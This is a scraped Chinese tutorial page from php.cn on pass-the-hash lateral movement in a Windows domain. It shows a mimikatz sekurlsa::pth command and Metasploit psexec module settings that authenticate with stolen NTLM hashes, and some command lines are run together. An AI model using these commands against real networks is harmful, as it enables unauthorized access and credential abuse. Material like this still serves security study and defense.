微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 系统教程 > Windows系列 > 正文

Hash传递相关知识点

蓮花仙者
发布： 2025-09-02 08:41:50
原创
657人浏览过

当我们获得一台服务器的system权限后，成功获取了服务器的hash值，但无法捕获到明文密码或解密密码时，我们可以尝试使用pass the hash(hash传递)技术进行横向渗透攻击。

使用mimikatz进行PTH攻击

Hash传递相关知识点在这个实验中，我们使用的是Windows Server 2012 R2作为域控制器，未能捕获到明文密码，且无法解密设置的密码，注意这里的SID为500。

接下来，在攻击机器上（位于域控中的机器）运行mimikatz，并输入以下命令：

怪兽AI知识库
怪兽AI知识库

企业知识库大模型 + 智能的AI问答机器人

怪兽AI知识库 51
查看详情 怪兽AI知识库
12 privilege::debugsekurlsa::pth /user:Administrator /domain:domainname /ntlm:519c985a849313d2c8029b293b57de1f 执行后会弹出一个新的CMD窗口。

Hash传递相关知识点这种方法可能显得有些鸡肋，因为它会弹出一个新的CMD窗口。你必须登录到域内的一台3389才能利用这种方式。如果无法登录域内的远程桌面，这种命令行方式就无法使用，就像在Windows 10中绕过UAC一样，不太喜欢这种弹出新窗口的方式。

使用Metasploit进行PTH攻击

1234 use exploit/windows/smb/psexecset rhosts 192.168.15.181set SMBUser rabbitmaskset SMBPass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4

以上就是Hash传递相关知识点的详细内容，更多请关注php中文网其它相关文章！

相关标签：
linux windows ai win windows

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：win10系统电源高性能不见了怎么办 下一篇：如何删除Win10 1903版本中的密码过期策略？
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
win11没有声音输出设备怎么办_Windows11音频设备故障解决方法 首先检查音频设备是否被禁用，通过设备管理器启用并更新声卡驱动，运行音频疑难解答工具，确保WindowsAudio服务已启动，最后在声音设置中手动启用并添加输出设备。
2025-11-07 10:20:04
939
Windows11无法将任务栏移动到屏幕顶部或侧边怎么办_Windows11任务栏位置无法移动修复方法 01顶部：通过修改注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StuckRects3中Settings的第11个字节为01可将任务栏移至顶部，配合资源管理器重启生效；或使用ExplorerPatcher等第三方工具设置位置；再通过注册表权限设为只读防止重置。
2025-11-07 10:09:02
422
win11怎么关闭“开始”菜单中的个性化推荐_Windows11开始菜单个性化推荐关闭教程 首先通过系统设置关闭“显示最近添加的应用”和“显示最近打开的项目”，再通过注册表编辑器将Start_TrackDocs值设为0，最后清除活动历史记录并重启资源管理器，可彻底移除Windows11开始菜单的个性化推荐内容。
2025-11-07 10:00:04
827
windows10复制粘贴功能失灵怎么办_Windows剪贴板功能异常修复办法 首先重启Windows资源管理器和rdpclip.exe进程，接着启动剪贴板用户服务并清空剪贴板缓存，检查System32下clip文件夹是否存在，排除第三方软件冲突，最后通过修改注册表恢复右键菜单功能。
2025-11-07 09:55:02
289
如何使用 compact.exe 在 Windows 上压缩文件和文件夹 使用compact.exe可压缩文件节省空间，先用compact/s查看状态，再用/c压缩文件或文件夹，/u解压，注意EFS加密与压缩不兼容需单独处理。
2025-11-07 09:43:02
937
win10怎么开启和配置iSCSI发起程序_win10iSCSI客户端配置与使用教程 首先确保iSCSI启动器服务已启用并设为自动启动，然后通过iSCSI发起程序添加目标门户并连接目标，若需认证则配置CHAP，最后在磁盘管理中初始化并格式化新磁盘。
2025-11-07 09:41:02
215
windows10系统映像恢复如何操作_Windows系统映像备份与恢复教程 首先通过恢复驱动器或控制面板进入系统映像恢复界面，接着选择自动或手动定位.vhdx格式的备份文件，确认还原位置后勾选格式化并重新分区，最后执行还原并重启电脑完成恢复操作。
2025-11-07 09:28:05
157
win10忘记开机密码怎么办_win10登录密码找回方法 答案：可通过微软账户在线重置、命令提示符替换辅助工具、PE启动盘、启用内置管理员账户或密码重置磁盘五种方法找回Windows10登录密码，适用于本地或微软账户，操作依次按步骤执行即可成功重置并登录。
2025-11-07 08:45:02
992
win11自带的截图工具怎么用_Windows11截图工具使用教程 1、使用Win+Shift+S可快速调用截图工具并复制到剪贴板；2、通过开始菜单搜索“截图工具”可打开完整应用进行编辑保存；3、在设置中开启PrtSc键启动截图工具，提升效率；4、游戏栏（Win+G）支持快捷键截图并自动保存为PNG至捕获文件夹。
2025-11-07 08:44:03
628
windows11如何恢复Windows照片查看器_Windows 11启用经典照片查看器教程 可通过注册表文件或手动编辑注册表恢复Windows11中消失的经典“Windows照片查看器”，或重新安装Microsoft照片应用修复相关组件。
2025-11-07 08:04:02
572
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部